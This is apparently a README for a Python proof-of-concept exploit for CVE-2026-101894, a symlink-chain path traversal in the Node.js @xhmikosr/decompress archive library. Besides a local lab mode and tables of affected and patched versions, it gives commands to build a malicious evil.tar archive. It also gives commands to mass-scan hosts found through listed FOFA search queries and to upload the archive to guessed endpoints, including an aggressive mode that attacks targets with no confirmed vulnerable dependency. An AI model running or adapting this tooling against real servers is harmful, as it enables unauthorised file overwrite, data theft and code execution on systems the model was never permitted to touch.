针对 CVE-2026-101894 的 Python 3 PoC —— @xhmikosr/decompress(以及已停止维护的 decompress)中的 Node.js 归档解压允许通过符号链接条目链实现输出目录之外的读/写。绕过了 CVE-2026-53486 的加固措施。CVSS 3.1 9.1 严重。
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| 目录 | https://pocbit.org/pocs/ |
| 包 | @xhmikosr/decompress(维护中)、decompress(kevva,未修补) |
| API | 默认 decompress(input, output) |
| CWE | CWE-22 路径遍历、CWE-59 链接跟随 |
| 已修复 | 10.2.2(10.x)、11.1.4(11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress 在将 tar/zip 等归档解压到目标文件夹时执行词法路径检查;然而通过连续的符号链接条目,内核可以将后续条目解析到输出目录之外。攻击者控制的归档可以覆盖/读取 config、启动脚本或敏感文件 → RCE 场景(CI、容器、上传+解压服务)。
@xhmikosr/decompress 的补丁:10.2.2 和 11.1.4。旧版 decompress 包直到 4.2.1 都属于同一类别且不会获得补丁 —— 请迁移到 @xhmikosr/[email protected]+。
| 模式 | 用途 |
|---|---|
--lab | 在 lab/ 中安装 11.1.3,通过 evil.tar 符号链接链验证向外写入 |
--write-evil-tar | 将 payload 归档写入磁盘(POCBIT-101894-ESCAPED 标记) |
check | 远程目标上的 package.json / lockfile → 版本是否 ≤ 风险版本? |
exploit | 使用符号链接链 evil.tar 向常见 upload 路径 POST(批量) |
| mass | --list + -j;hits.txt / exploited.txt |
远程 exploit 并不能证明服务器确实使用 decompress 解压了归档;2xx 上传接受 + 弱版本指纹即被视为 exploited。确凿证据请使用 --lab。
hits.txt 与 exploited.txt(常见情况)| 阶段 | 证明了什么 |
|---|---|
| check → hits.txt | /package.json 或 /package-lock.json 公开可访问且包含弱 decompress |
| exploit → exploited.txt | PoC 尝试的通用 upload URL 中至少一个返回 HTTP 2xx |
在 FOFA Express 列表中 500 次扫描 → 2 个命中是正常的。2 个命中 + 0 个 exploit(vulnerable_dep_no_upload_endpoint)也是正常的:依赖泄露 ≠ 公开归档上传。此 CVE 的利用需要应用程序使用 decompress() 解压不受信任的归档;在 HID / 随机 :8088 站点上,PoC 的 8–11 个默认路径通常不存在。
# 链证据(本地)
python poc.py --lab
# 命中:仅依赖 + 上传尝试
python poc.py --list hits.txt --mode exploit -j 2
# 预期:upload_ok=0, status vulnerable_dep_no_upload_endpoint
| 包 | 受影响 | 已修补 |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress(kevva) | ≤ 4.2.1 | 无 —— 请迁移 |
cd CVE-2026-101894
pip install -r requirements.txt
Lab: PATH 中的 Node.js + npm(推荐 Linux/macOS 以获得符号链接解压行为)。
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| 标志 | 含义 |
|---|---|
--lab | 本地 Node 解压 PoC |
--aggressive | 即使没有暴露的受影响 lockfile 也进行 exploit |
--upload-paths | 自定义逗号分隔的 POST 路径 |
--exploited-list | 上传返回 2xx 的目标 |
符号链接链(简化):
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt与 11.1.4 发行说明中描述的符号链接链绕过类别(realpath / 包含修复)相符。
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
上传/zip FOFA dork 列表(fofa_results_1000)比仅 Express 的 500 列表更适合 exploit 面;但仍然是 hit = lockfile + 弱 decompress,exploit = upload 2xx。
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(Lockfile 在生产环境中很少公开;检查通常会找到 staging、CI 产物、配置错误的静态托管。)
仅测试您被授权评估的系统。不要将恶意归档上传到第三方生产服务。
CVE-2026-101894 PoC: @xhmikosr/decompress symlink-chain archive path traversal (bypass CVE-2026-53486). Node lab + lockfile scan + mass evil.tar upload exploit. CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894